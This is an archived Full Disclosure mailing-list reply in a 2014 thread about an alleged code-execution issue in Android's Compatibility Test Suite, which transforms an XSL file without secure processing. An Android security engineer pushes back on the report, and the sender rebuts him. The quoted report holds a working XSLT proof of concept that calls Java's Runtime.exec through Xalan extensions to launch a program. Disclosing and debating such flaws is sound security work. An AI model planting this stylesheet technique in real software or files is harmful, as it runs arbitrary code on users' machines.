Date: Sun, 19 Oct 2014 19:27:30 -0700 From: Grond <grond66@...il.com> To: Nick Kralevich <nnk@...gle.com> Cc: oss-security@...ts.openwall.com, fulldisclosure@...lists.org Subject: Re: [FD] CVE request: remote code execution in Android CTS On Sun, Oct 19, 2014 at 05:20:50AM -0700, Nick Kralevich wrote: > Nick from the Android Security team here. > > In the future, please feel free to send these kinds of reports to > security@...roid.com. Please see > http://developer.android.com/guide/faq/security.html#issue for contact > information. > > Android's Compatibility Test Suite (CTS) is an executable software > package intended to be downloaded and run from your computer. Please > see https://source.android.com/compatibility/cts-intro.html for more > information. > > The files within the software package are not intended to be modified. > > If I'm reading your report correctly, you're claiming that an attacker > who has the ability to locally modify a software package has the > ability to get code execution. This isn't a security bug. What you're > describing is another example of > http://blogs.msdn.com/b/oldnewthing/archive/2007/10/31/5788080.aspx . > You're on the wrong side of the airtight hatch. Before trying to sweep this thing under the carpet, you might want to ask yourself two simple questions: Is this kind of file ever *intended* to be used as an executable script? If the answer is "no"; then you should apply fixes. And: Which is more expensive? Spending a couple of hours to fix this now, or having someone chain this together with another (unforeseeable) bug enabling easy exploitation a few years down the road, allowing them to do some real damage? Oh, and: There really is no such thing as an "airtight hatch". > > If you are aware of ways to exploit this functionality that doesn't > involve tricking the user into replacing a file, please feel free to > contact us at security@...roid.com. > > -- Nick > > On Sun, Oct 19, 2014 at 2:28 AM, Lord Tuskington <l.tuskington@...il.com> wrote: > > CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING > > option. See lines 60-67 of > > cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java: > > > > InputStream xsl = > > CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl"); > > StreamSource xslSource = new StreamSource(xsl); > > TransformerFactory factory = TransformerFactory.newInstance(); > > Transformer transformer = factory.newTransformer(xslSource); > > > > StreamSource xmlSource = new StreamSource(xmlIn); > > StreamResult result = new StreamResult(out); > > transformer.transform(xmlSource, result); > > > > An attacker who is able to control api-coverage.xsl could inject arbitrary > > code into it, which would be executed. For example: > > > > <xsl:stylesheet version="1.0" > > xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > > xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" > > xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" > >> > > <xsl:output method="text"/> > > <xsl:template match="/"> > > <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable> > > <xsl:variable name="RT" select="rt:getRuntime()"/> > > <xsl:variable name="proc" select="rt:exec($RT, $Command)"/> > > <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/> > > </xsl:template> > > </xsl:stylesheet> > > > > Would pop a calc. This crosses a trust boundary because an attacker could > > provide an XSL stylesheet that, for example, has enhanced visual layout. A > > person consuming that stylesheet would assume it could not possibly contain > > arbitrary code that would be executed, as it's just a stylesheet. The XSL > > extensions to execute code should be disabled by passing > > FEATURE_SECURE_PROCESSING. > > > > Regards > > > > Lord Tuskington > > > > Chief Financial Pinniped > > > > TuskCorp > > > > -- > Nick Kralevich | Android Security | nnk@...gle.com | 650.214.4037 > > _______________________________________________ > Sent through the Full Disclosure mailing list > http://nmap.org/mailman/listinfo/fulldisclosure > Web Archives & RSS: http://seclists.org/fulldisclosure/ -- Attached is my PGP public key. Primary key fingerprint: B7C7 AD66 D9AF 4348 0238 168E 2C53 D8FA 55D8 9FD9 If you have a PGP key (and a minute to spare) please send it in reply to this email. If you have no idea what PGP is, feel free to ignore all this gobbledegook. Content of type "application/pgp-keys" skipped Download attachment "signature.asc" of type "application/pgp-signature" (837 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ